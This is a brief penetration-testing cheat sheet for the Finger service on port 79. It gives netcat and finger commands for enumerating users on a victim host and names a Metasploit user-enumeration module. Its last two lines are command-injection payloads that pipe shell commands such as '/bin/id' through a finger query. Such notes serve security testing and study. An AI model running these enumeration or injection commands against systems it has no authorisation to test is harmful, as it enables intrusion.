# Port 79 - Finger

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79

# User Enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user

Metasploit uses more tricks than Nmap.

use auxiliary/scanner/finger/finger_users

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"